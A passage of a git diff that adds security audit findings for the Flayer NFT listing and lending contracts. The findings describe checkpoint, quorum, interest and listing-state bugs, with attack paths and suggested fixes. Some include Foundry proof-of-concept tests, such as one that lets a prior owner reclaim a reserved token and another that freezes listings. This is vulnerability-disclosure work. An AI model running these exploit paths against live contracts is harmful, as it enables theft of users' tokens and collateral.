+1. The current total supply is `4e18`, a shutdown is started via [CollectionShutdown::start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L135) and the quorum is set to `2e18` (`50%` of `4e18`).
+2. An user calls [Locker:redeem()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L209), which burns `1e18` tokens. The new total supply is `3e18`.
+3. At this point `2e18` votes are required to shutdown the collection, but the total supply is `3e18`. The quorum in practice is now `2e18/3e18` = `66%`
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+If tokens are burned the quorum will be harder to reach, if tokens are minted quorum will be easier to reach.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/637.md b/001/637.md
new file mode 100644
index 0000000..f8fc03b
--- /dev/null
+++ b/001/637.md
@@ -0,0 +1,111 @@
+Loud Bone Cottonmouth
+
+High
+
+# After reserving of a listing old owner can steal listing
+
+### Summary
+
+Lack of record clearing of the `_listings` mapping at `Listings` contract allows for stealing the token by the old listing owner when new owner reserves the listing by calling `Listings.reserve()`.
+
+### Root Cause
+
+At `Listings.reserve()` there is lack of `delete `_listings[_collection][_tokenId]` which leads to keeping the ownership of a listing by the old owner when someone calls `Listings.reserve()`.
+
+The problematic function:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690
+
+### Internal pre-conditions
+
+1. A listing needs to be created on `Listings` contract.
+2. Another user needs to call `Listings.reserve()` on one of the listing.
+
+### External pre-conditions
+
+No specific external pre-conditions are required.
+
+### Attack Path
+
+1. User1 creates a listing for token1 on `Listings` contract through `createListings()`
+2. User2 wants to reserve the token1 listing for himself and calls `reserve()` on that token and pays collateral.
+3. User1 calls e.g. `cancelListing()` for token1, pays the fee and takes ownership of token1
+4. User2 is left with a protected listings, but cannot withdraw token1 as `Locker` is not its owner anymore.
+
+### Impact
+
+All Users who reserve listings through `Listings.reserve()` and pay collateral, can loose their entire collateral, as the withdrawal of their reserved tokens will not be possible if they are taken over by the old listings's user.
+
+Note here that when the `_listings` mapping is not cleared, `cancelListings()`, by the old owner is not the only problematic path. The remaining "ghost" listing, could be filled, relisted or even reserved again, by anyone.
+
+### PoC
+
+```solidity
+ function test_MyFailedReserve() public {
+ uint16 _floorMultiple = 101;
+ address payable _owner1 = payable(address(0x01));
+ address payable _owner2 = payable(address(0x02));
+
+ // Deploy our platform contracts
+ _deployPlatform();
+
+ // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
+ // is explicitly created in a number of tests.
+ locker.createCollection(address(erc721a), 'Test Collection', 'TEST', 0);
+
+ // Initialise our collection
+ _initializeCollection(erc721a, SQRT_PRICE_1_2);
+
+ // Mint our token to the _owner and approve the {Listings} contract to use it
+ erc721a.mint(_owner1, TOKEN_ID);
+
+ deal(address(locker.collectionToken(address(erc721a))), _owner1, 2 ether);
+ deal(address(locker.collectionToken(address(erc721a))), _owner2, 2 ether);
+
+ // Create our listing for owner 1
+ vm.startPrank(_owner1);
+ erc721a.approve(address(listings), TOKEN_ID);
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: _tokenIdToArray(TOKEN_ID),
+ listing: IListings.Listing({
+ owner: _owner1,
+ created: uint40(block.timestamp),
+ duration: VALID_LIQUID_DURATION,
+ floorMultiple: _floorMultiple
+ })
+ })
+ });
+
+ // owner2 reserves the listing for himself and pays some collateral
+ // The owner2 then takes the token out
+ vm.startPrank(_owner2);
+ locker.collectionToken(address(erc721a)).approve(address(listings), 1 ether);
+ listings.reserve(address(erc721a), TOKEN_ID, 0.5 ether);
+ vm.stopPrank();
+
+ IListings.Listing memory listing = listings.listings(address(erc721a), TOKEN_ID);
+
+ // we can see here that the listing still exists on the Listings contract
+ console.log("Listing owner: %", listing.owner);
+
+ // the old owner cancels the listing.
+ vm.startPrank(_owner1);
+ locker.collectionToken(address(erc721a)).approve(address(listings), 1.5 ether);
+ listings.cancelListings(address(erc721a), _tokenIdToArray(TOKEN_ID), false);
+
+ address ownerOfToken = erc721a.ownerOf(TOKEN_ID);
+
+ // we can see that the old owner (_owner1) took over the token, while the _onwer2
+ // is left with a protected listing, but the token is already gone from the contract
+ console.log("owner of the token: %", ownerOfToken);
+
+ }
+```
+
+### Mitigation
+
+To mitigate the issue the following line needs to be added to the `reserve()` function at `Listings`:
+```solidity
+delete `_listings[_collection][_tokenId];
+```
\ No newline at end of file
diff --git a/001/640.md b/001/640.md
new file mode 100644
index 0000000..2765969
--- /dev/null
+++ b/001/640.md
@@ -0,0 +1,259 @@
+Mini Bamboo Orangutan
+
+High
+
+# In ProtectedListings, listing.checkpoint is greater by 1 than it should be in case the _collection has already been checkpointed at least once during the same block.timestamp, leading to incorect health factor and unlockPrice calculations
+
+## Summary
+The problem stems from a wrong `index_` being returned in the `_createCheckpoint` function in the circumstances when:
+- `index_ = collectionCheckpoints[_collection].length` > 0;
+- `checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp`.
+
+### The issue has 3 outcoming impacts.
+
+First onto the logic of the `_createCheckpoint` function:
+1. When there're currently no `collectionCheckpoints[_collection]` at the moment, a new checkpoint is constructed and pushed, storing the new checkpoint at the `collectionCheckpoints[_collection][0]`;
+2. When there's a request to checkpoint, and the `collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1].timestamp` is equal to the current `block.timestamp`, no items are pushed to the `collectionCheckpoints` array, however the `compoundedFactor` is updated accordingly;
+3. And, finally, when the `collectionCheckpoints[_collection][collectionCheckpoints[_collection].length - 1].timestamp` is not equal to the current timestamp, we're going to populate the `collectionCheckpoints[_collection]` array by pushing a corresponding new checkpoint item to it. That automatically increases the `collectionCheckpoints[_collection].length`.
+
+## Vulnerability Detail
+The problem is that in the `_addCheckpoint`'s case №2, *the `index_` returned from the function is not the index that contains the updated `compoundedFactor` within the array items, or, specifically, it is not the real "index" in terms of array count that was updated,* **but the "real index + 1"**, which is evident from this snippet:
+```solidity
+ function _createCheckpoint(address _collection) internal returns (uint index_) {
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // ...CLIP...
+
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+ return index_; // it should actually be index_ - 1 here
+ }
+
+ // ...CLIP...
+ }
+```
+
+You can see from this snippet that what the `_createCheckpoint` function returns as "index", in the aforementioned case №2 is the `collectionCheckpoints.length`.
+
+---
+
+In the case №1, the `index_` returned is in fact correct because in that case at the moment the `collectionCheckpoints[_collection].length` is `0`:
+```solidity
+ // Determine the index that will be created
+ index_ = collectionCheckpoints[_collection].length;
+
+ // Register the checkpoint that has been created
+ emit CheckpointCreated(_collection, index_);
+
+ // If this is our first checkpoint, then our logic will be different as we won't have
+ // a previous checkpoint to compare against and we don't want to underflow the index.
+ if (index_ == 0) {
+ // Calculate the current interest rate based on utilization
+ (, uint _utilizationRate) = utilizationRate(_collection);
+
+
+
+ // We don't have a previous checkpoint to calculate against, so we initiate our
+ // first checkpoint with base data.
+ collectionCheckpoints[_collection].push(
+ Checkpoint({
+ compoundedFactor: locker.taxCalculator().calculateCompoundedFactor({
+ _previousCompoundedFactor: 1e18,
+ _utilizationRate: _utilizationRate,
+ _timePeriod: 0
+ }),
+ timestamp: block.timestamp
+ })
+ );
+
+
+
+ return index_;
+ }
+```
+
+---
+
+Likewise, in the case №3, a proper `index_` is returned, because the initial `index_` is based on the current `_collectionCheckpoints[_collection].length`, and as new item is `.push`'ed to that array, the real new `length` increases by 1 at the end, and the `index_` will correspond to the **last real AVAILABLE "index"** of that array, **not the length of that array**.
+
+## Impact
+**It is important that `_createCheckpoint` returns the real correct index of the item that was updated, because that `index_` is later used to track the parameter of `unlockPrice` via getting stored as `_createListing.checkpoint` in the `_mapListings` function:**
+```solidity
+ function _mapListings(CreateListing memory _createListing, uint _tokenIds, uint _checkpointIndex) internal returns (uint tokensReceived_) {
+ // Loop through our tokens
+ for (uint i; i < _tokenIds; ++i) {
+ // Update our request with the current checkpoint and store the listing
+ _createListing.listing.checkpoint = _checkpointIndex;
+ _protectedListings[_createListing.collection][_createListing.tokenIds[i]] = _createListing.listing;
+
+ // Increase the number of tokens received by the amount requested
+ tokensReceived_ += _createListing.listing.tokenTaken;
+
+ emit ListingDebtAdjusted(_createListing.collection, _createListing.tokenIds[i], int(uint(_createListing.listing.tokenTaken)));
+ }
+ }
+```
+
+The `_mapListings` function is called from `createListings`:
+```solidity
+ // Loop over the unique listing structures
+ for (uint i; i < _createListings.length; ++i) {
+ // Store our listing for cheaper access
+ CreateListing calldata listing = _createListings[i];
+
+ // Ensure our listing will be valid
+ _validateCreateListing(listing);
+
+ // Update our checkpoint for the collection if it has not been done yet for
+ // the listing collection.
+ checkpointKey = keccak256(abi.encodePacked('checkpointIndex', listing.collection));
+ assembly { checkpointIndex := tload(checkpointKey) }
+ if (checkpointIndex == 0) {
+ checkpointIndex = _createCheckpoint(listing.collection);
+ assembly { tstore(checkpointKey, checkpointIndex) }
+ }
+
+
+ // Map our listings
+ tokensIdsLength = listing.tokenIds.length;
+ tokensReceived = _mapListings(listing, tokensIdsLength, checkpointIndex) * 10 ** locker.collectionToken(listing.collection).denomination();
+}
+}
+```
+
+
+Please note that transient storage is used for optimizing gas and preserving the `checkpointIndex` for same-collection `tokenIds`, but it is absolutely possible that multiple calls that trigger `createCheckpoint` (there're **MANY OF THEM!**) are put in the same `block`, **ESPECIALLY "FOR FUTURE PROTOCOL INTEGRATIONS"**, which will lead to that the `listing.checkpoint` is the offset by ***+ 1*** `checkpointIndex`.
+
+## Code Snippet
+I've already explained above where the wrong `index_` is stored (as the `listing.checkpoint` field).
+
+`unlockPrice` is detrimental for the `unlockProtectedListing` function:
+```solidity
+ function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+ // Ensure this is a protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Ensure the caller owns the listing
+ if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+
+ // Ensure that the protected listing has run out of collateral
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral < 0) revert InsufficientCollateral();
+
+ // cache
+ ICollectionToken collectionToken = locker.collectionToken(_collection);
+ uint denomination = collectionToken.denomination();
+ uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+
+ // Repay the loaned amount, plus a fee from lock duration
+ uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination; // it is used here
+ collectionToken.burnFrom(msg.sender, fee);
+ // ...CLIP...
+}
+```
+
+Unlock price is calculated as:
+```solidity
+ /**
+ * Calculates the amount of tax that would need to be paid against a protected listings. This
+ * is returned in terms of the underlying ERC20 token, but with a consistent 18 decimal accuracy.
+ *
+ * @param _collection The collection address of the listing
+ * @param _tokenId The tokenId of the listing
+ *
+ * @return unlockPrice_ The price required to unlock, in 1e18
+ */
+ function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ // Get the information relating to the protected listing
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ // Calculate the final amount using the compounded factors and principle amount
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint], // the REAL listing.checkpoint was listing.checkpoint - 1
+
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+ }
+```
+
+### Here, the real `listing.checkpoint` is in fact `listing.checkpoint - 1`, you can see the discrepancy: `_initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint], // the REAL listing.checkpoint was listing.checkpoint - 1`.
+
+---
+
+*But the `ProtectedListings` contract passes the next checkpoint after the real initial checkpoint.*
+
+---
+
+`compound` is based on the following properties:
+```solidity
+ function compound(
+ uint _principle,
+ IProtectedListings.Checkpoint memory _initialCheckpoint,
+ IProtectedListings.Checkpoint memory _currentCheckpoint
+ ) public pure returns (uint compoundAmount_) {
+ // If the initial checkpoint timestamp is >= the current checkpoint then we just
+ // return the initial principle value.
+ if (_initialCheckpoint.timestamp >= _currentCheckpoint.timestamp) {
+ return _principle;
+ }
+
+ uint compoundedFactor = _currentCheckpoint.compoundedFactor * 1e18 / _initialCheckpoint.compoundedFactor;
+ compoundAmount_ = _principle * compoundedFactor / 1e18;
+ }
+```
+
+***The "_initialCheckpoint" is not the real "_initialCheckpoint", but "_initialCheckpointIndex + 1".***
+
+#### This, respectively, makes the `_initialCheckpoint.compoundedFactor` and `_initialCheckpoint.timestamp` variables absolutely inaccurate.
+
+---
+
+## Additional impact
+If `unlockProtectedListing` is called right in the next block as the first transaction that gets executed in the Flayer protocol related transactions bundle, the `_initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],` line will always throw an "Out of bounds" array revert.
+
+That is because, if, for instance, the `collectionCheckpoints[_collection]` length is 9, and the last time the `_collection` was `createCheckpoint`'ed **(assume the checkpoint logic's case was our problematic №2),** *the `index_` returned from `_createCheckpoint`* and stored as `listing.checkpoint` in `createListings` *was the INCORRECT `9`* (whilst it should've been `8` in that case), then accessing an index of `9` in an array with total length of `9` will of course not pass the EVM overflow checks.
+
+---
+
+So, besides causing problems in future `unlockPrice` calculations **(which happens in any future block no matter of conditions)**, there's also a serious impact of the NEXT BLOCK's `unlockProtectedListings` complete block-wise DoS.
+
+**Please note:** *This block-wise DoS additionally causes losses for the `msg.sender` calling `unlockProtectedListing` function, because the call might be time-sensitive in some cases, as the `block.timestamp` is used for determining the `TaxCalculator.compound(...)` function's `_currentCheckpoint().timestamp`.*
+
+**This additionally affects how much `fee` the `msg.sender` will pay (`collectionToken.burnFrom(msg.sender, fee)`).**
+
+---
+
+#### Moreover, there's even a 3rd impact: `getProtectedListingHealth` also uses the `unlockPrice` which will be invalid in the case of an original "`createListings` --> `_createCheckpoint` -> №2 switch-case" problem:
+```solidity
+ function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+ // So we start at a whole token, minus: the keeper fee, the amount of tokens borrowed
+ // and the amount of collateral based on the protected tax.
+ return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+ }
+```
+
+## Tool used
+Manual review.
+
+## Recommendation
+For the case №2 in `_createCheckpoint`, return `index_ - 1`:
+```diff
+ // If no time has passed in our new checkpoint, then we just need to update the
+ // utilization rate of the existing checkpoint.
+ if (checkpoint.timestamp == collectionCheckpoints[_collection][index_ - 1].timestamp) {
+ collectionCheckpoints[_collection][index_ - 1].compoundedFactor = checkpoint.compoundedFactor;
+- return index_;
++ return index_ - 1;
+ }
+```
+
+## Additional references to the codebase:
+1. https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L562-L567
+2. https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L202
+3. https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L614
+4. https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L113
+5. https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/TaxCalculator.sol#L117
\ No newline at end of file
diff --git a/001/641.md b/001/641.md
new file mode 100644
index 0000000..6e7c31c
--- /dev/null
+++ b/001/641.md
@@ -0,0 +1,101 @@
+Faithful Plum Robin
+
+Medium
+
+# Users will suffer unexpected liquidations and unfair interest charges on Protected Listings
+
+### Summary
+
+The incorrect interest calculation and position adjustment mechanism in the ProtectedListings contract will cause an unfair interest accrual and potential immediate liquidation for borrowers as users will increase their borrowed amount without proper interest recalculation.
+
+### Root Cause
+
+In ProtectedListings.sol, the choice to use a single checkpoint and tokenTaken value for interest calculation is a mistake as it does not accurately account for position adjustments over time.
+
+Position Adjustment Mechanism:
+In ProtectedListings.sol, the adjustPosition() function only updates the tokenTaken value:
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L413
+```solidity
+function adjustPosition(address _collection, uint _tokenId, int _amount) public lockerNotPaused {
+ // ... (input validation)
+
+ if (_amount < 0) {
+ // Decreasing debt
+ _protectedListings[_collection][_tokenId].tokenTaken -= uint96(absAmount);
+ } else {
+ // Increasing debt
+ _protectedListings[_collection][_tokenId].tokenTaken += uint96(absAmount);
+ }
+
+ // ... (token transfers)
+
+ emit ListingDebtAdjusted(_collection, _tokenId, _amount);
+}
+```
+
+Interest Calculation:
+The unlockPrice() function calculates interest based on the current tokenTaken amount and the initial checkpoint:
+
+```solidity
+function unlockPrice(address _collection, uint _tokenId) public view returns (uint unlockPrice_) {
+ ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+
+ unlockPrice_ = locker.taxCalculator().compound({
+ _principle: listing.tokenTaken,
+ _initialCheckpoint: collectionCheckpoints[_collection][listing.checkpoint],
+ _currentCheckpoint: _currentCheckpoint(_collection)
+ });
+}
+```
+**This calculation assumes the entire tokenTaken amount was borrowed from the initial checkpoint, which is incorrect for adjusted positions.**
+
+Position Health Calculation:
+The getProtectedListingHealth() function uses the unlockPrice() result:
+
+```solidity
+function getProtectedListingHealth(address _collection, uint _tokenId) public view listingExists(_collection, _tokenId) returns (int) {
+ return int(MAX_PROTECTED_TOKEN_AMOUNT) - int(unlockPrice(_collection, _tokenId));
+}
+```
+This can lead to an incorrect low health value for adjusted positions.
+
+Liquidation Check:
+The liquidateProtectedListing() function uses the health calculation:
+
+```solidity
+function liquidateProtectedListing(address _collection, uint _tokenId) public lockerNotPaused listingExists(_collection, _tokenId) {
+ int collateral = getProtectedListingHealth(_collection, _tokenId);
+ if (collateral >= 0) revert ListingStillHasCollateral();
+ // ... (liquidation logic)
+}
+```
+This can allow for immediate liquidation after a position adjustment due to the inflated interest calculation as the check during adjustposition doesnot account for this ` if (_amount > debt) revert InsufficientCollateral();` where debt is remaining collateral without taking any interest into account.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User creates a protected listing, borrowing an initial amount.
+2. Time passes, and interest accrues on the initial borrowed amount.
+3. User calls adjustPosition() to increase their borrowed amount.
+4. The tokenTaken value in the ProtectedListing struct is updated, but the checkpoint remains the same.
+5. When unlockPrice() is called (e.g., during liquidation check), it calculates interest as if the entire current tokenTaken amount was borrowed from the initial checkpoint.
+6. This results in an inflated interest amount, potentially pushing the position into a liquidatable state immediately.
+
+### Impact
+
+The borrowers suffer unfair interest charges and potential immediate, unexpected liquidations. The protocol gains excessive interest at the expense of borrowers, violating the intended fairness of the system.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+_No response_
\ No newline at end of file
diff --git a/001/649.md b/001/649.md
new file mode 100644
index 0000000..6fee1aa
--- /dev/null
+++ b/001/649.md
@@ -0,0 +1,150 @@
+Glorious White Cyborg
+
+Medium
+
+# Initial Lister will permanently freeze listing for tokenIds such that it cannot be filled, relisted, modified and reserved
+
+### Summary
+
+The `createListings` function allows the user to create a listing with custom `created` parameter. The issue arises when the created paramter is set in the very far future.
+
+This will make the listing as Dutch auction in `getListingType` .(Listings with future `created` parameter is made to be dutch duration in `getListingType`)
+
+which will make `cancelListings` and `modifyListings` revert as it's not a liquid listing.
+
+`fillListings`, `relist` and `reserve` also revert as the `getListingPrice` function will return false if creation date is not reached yet.
+
+```solidity
+if (listing.created > block.timestamp) {
+ return (isAvailable_, totalPrice);
+}
+```
+
+
+
+
+
+### Root Cause
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L142
+
+In Listings.sol , the `crerateListings` shouldn't accept `created` parameters too far above the block.timestamp as it'll effectively dos the filling of the listing if it's never available.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Attacker creates listing with `created` parameter very far in future
+2. Every function in listings.sol attempted on the created listing fails
+
+### Impact
+
+The tokenIds of the created listings are permanently Dos'ed
+
+### PoC
+
+Paste in listings.t.sol
+run forge test -vvv --match-test test_DoveShtuff_POC
+
+```solidity
+function test_DoveShtuff_POC(
+ ) public {
+
+ uint256 noOfTokens = 4;
+ uint16 floorMultiple = 400;
+ uint32 duration = 5 days;
+ uint40 created;
+
+ //noOfToken assume
+ // _assumeValidTokenId(noOfTokens);
+
+ //created assume lesser than b.tst for fillListing.
+ //_assumeCreated(created);
+
+ //floorMultiple assume
+ //_assumeFloorMultiple(floorMultiple);
+
+ //duration assume
+ //_assumeDuration(duration);
+
+
+ // uint256 noOfTokens = 202;
+ address payable alice = payable(address(0xa11ce));
+
+ ICollectionToken token = locker.collectionToken(address(erc721a));
+
+ deal(address(locker.collectionToken(address(erc721a))), alice, 10 * 1 ether);
+
+ // console2.log("Before Create listing and fill listing ");
+ // _balancePrint(alice, token, "Alice");
+ uint256 startBalance = token.balanceOf(alice);
+
+
+
+ uint256[] memory arrayToPass = new uint256[](noOfTokens);
+
+ // Build our listings fill request
+ uint[][] memory tokenIdsOut = new uint[][](1);
+ tokenIdsOut[0] = new uint[](noOfTokens);
+ // tokenIdsOut[0][0] = _tokenId;
+
+ for(uint256 i = 0 ; i < noOfTokens ; i++){
+ uint256 _tokenId = i;
+ erc721a.mint(alice, _tokenId);
+ vm.prank(alice);
+ erc721a.approve(address(listings), _tokenId);
+ arrayToPass[i] = i;
+ tokenIdsOut[0][i] = i;
+ }
+
+ vm.startPrank(alice);
+ // uint16 _floorMultiple = floorMultiple;
+
+ _createListing({
+ _listing: IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: arrayToPass,
+ listing: IListings.Listing({
+ owner: alice,
+ created: type(uint40).max - duration - 1,
+ duration: duration,
+ floorMultiple: floorMultiple
+ })
+ })
+ });
+
+
+ vm.expectRevert();
+ listings.cancelListings(address(erc721a), arrayToPass, false);
+ // modifyListings doesn't work for dutch duration as well
+
+ vm.expectRevert();
+ listings.relist(
+ IListings.CreateListing({
+ collection: address(erc721a),
+ tokenIds: arrayToPass,
+ listing: IListings.Listing({
+ owner: alice,
+ created: type(uint40).max - 1,
+ duration: duration,
+ floorMultiple: floorMultiple
+ })
+ }),
+ false
+ );
+}
+```
+
+### Mitigation
+
+The created duration in the createListings function can be checked to be some finite time away from block.timestamp in `_validateCreateListing`.
+
+```diff
++ if (listing.created > block.timestamp + 5 days ) revert ListingNotAvailable();
+```
\ No newline at end of file
diff --git a/001/653.md b/001/653.md
new file mode 100644
index 0000000..c6c5f79
--- /dev/null
+++ b/001/653.md
@@ -0,0 +1,103 @@
+Spare Infrared Gerbil
+
+High
+
+# Users cannot unlock/repay their protected listing when the Locker is paused
+
+### Summary
+
+Users cannot repay or unlock their protected listing when Locker is paused, this can lead to liquidation of their protected asset leading to a loss for an honest user
+
+### Root Cause
+
+[`unlockProtectedListing(...)`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/ProtectedListings.sol#L287) is used to repay a protected listing's position and optionally redeem their token immediately. However, the problem is that users are blocked from making this repayment when the Locker is locked leading to a possible liquidation of the user and I beleive this is a design flaw considering that there is an option for the user to repay and let their asset remain in the `Locker` for later withdrawal.
+
+```solidity
+File: ProtectedListings.sol
+287: @> function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
+288: // Ensure this is a protected listing
+289: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+290:
+291: // Ensure the caller owns the listing
+292: if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+293:
+
+```
+
+### Internal pre-conditions
+
+Locker is paused
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+- Alice wants to repay her loan that is on the verge of becoming unhealthy
+- Locker is paused
+- Alice call reverts
+- By the time locker is unpaused, her position has become unhealthy and is due for liquidation
+
+### Impact
+
+Users canot repay when Locker is paused leading to liquidation of their protected listings
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider modifying the `unlockProtectedListing(...)` as shown below
+
+
+```diff
+File: ProtectedListings.sol
+-287: function unlockProtectedListing(address _collection, uint _tokenId, bool _withdraw) public lockerNotPaused {
++287: function unlockProtectedListing(address _collection, uint _tokenId) public {
+288: // Ensure this is a protected listing
+289: ProtectedListing memory listing = _protectedListings[_collection][_tokenId];
+290:
+291: // Ensure the caller owns the listing
+292: if (listing.owner != msg.sender) revert CallerIsNotOwner(listing.owner);
+293:
+294: // Ensure that the protected listing has run out of collateral
+295: int collateral = getProtectedListingHealth(_collection, _tokenId); // @audit 5) I think it should be <= 0 as zero also signifies undercollateralization
+296: if (collateral < 0) revert InsufficientCollateral(); // @audit 1) if a user uses a small amount say listing.tokenTaken = 1 wei, then collateral will always be > 0
+297:
+298: // cache
+299: ICollectionToken collectionToken = locker.collectionToken(_collection);
+300: uint denomination = collectionToken.denomination();
+301: uint96 tokenTaken = _protectedListings[_collection][_tokenId].tokenTaken;
+302:
+303: // Repay the loaned amount, plus a fee from lock duration
+304: uint fee = unlockPrice(_collection, _tokenId) * 10 ** denomination; // full debt @audit user can unlock protected without paying fees??
+305: collectionToken.burnFrom(msg.sender, fee); // @audit 2) no amount will be burnt if significantly small amount is used for listing.tokenTaken
+306:
+307: // We need to burn the amount that was paid into the Listings contract @audit 4) even the amount burned is calculated wrong
+308: collectionToken.burn((1 ether - tokenTaken) * 10 ** denomination); // @audit 3) tokens are burned from Plisting contract instead of Plisting owner check that after unlocking user still has token and tokenId has been returned to him
+309: // @audit 6) what if this contract does not have enough tokens to burn say for the first repayer
+310: // Remove our listing type @audit 7) the above burning takes a toll on the UR especially if a user borrow dust amount more of the total supply is burnt thus incresing the UR
+311: unchecked { --listingCount[_collection]; } // @audit hence user can take out dust amount (say 1 wei of coll token) continuously and unlock continuously causing the UR to rise rapidly and by extension the interest rate without actually this can lead to a liquidation of other positions because they will get to liquidation faster especially for positions that have
+312:
+313: // Delete the listing objects
+314: delete _protectedListings[_collection][_tokenId];
+315:
+316: // Transfer the listing ERC721 back to the user
+-317: if (_withdraw) {
++317: if (!locker.paused()) {
+318: locker.withdrawToken(_collection, _tokenId, msg.sender);
+319: emit ListingAssetWithdraw(_collection, _tokenId);
+320: } else {
+321: canWithdrawAsset[_collection][_tokenId] = msg.sender;
+322: }
+323:
+324: // Update our checkpoint to reflect that listings have been removed
+325: _createCheckpoint(_collection);
+326:
+327: // Emit an event
+328: emit ListingUnlocked(_collection, _tokenId, fee);
+329: }
+
+```
\ No newline at end of file
diff --git a/001/654.md b/001/654.md
new file mode 100644
index 0000000..7057de0
--- /dev/null
+++ b/001/654.md
@@ -0,0 +1,79 @@
+Mini Bamboo Orangutan
+
+Medium
+
+# Whales can use CollectionShutdown.reclaimVote to inflate the voting first, and withdraw their portion after collectionLiquidation has been completed
+
+## Summary
+I argue that it's not fair for the other users to participate in a voting that can be manipulated after the liquidation of a collection has been executed, because that enables large whales to get a large portion of the total supply of a `collectionToken` after most of the users have already `claim`ed or `voteAndClaim`ed already.
+
+## Vulnerability Detail
+The `reclaimVote` function allows retracting the user's votes after the `quorum` has already been reached, potentially maliciously by whales, and after `execute` has been called for a `_collection` and it has been sunset in the `Locker`:
+```solidity
+ /**
+ * If the user changes their mind regarding their vote, then they can retract it
+ * at any time. This will remove their vote and return their token.
+ *
+ * @param _collection The collection address
+ */
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+
+## Impact
+That happens because `canExecute` is set to `false` after `execute` is called, which is designed as a replay protection for the `execute` function, but opens a new attack vector to gain most of the supply of the `collectionToken` without losing anything.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377
+
+## Tool used
+Manual review.
+
+## Recommendation
+Consider adding the following check:
+```diff
+ function reclaimVote(address _collection) public whenNotPaused {
++ require(collectionLiquidationComplete(_collection) == false);
+
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
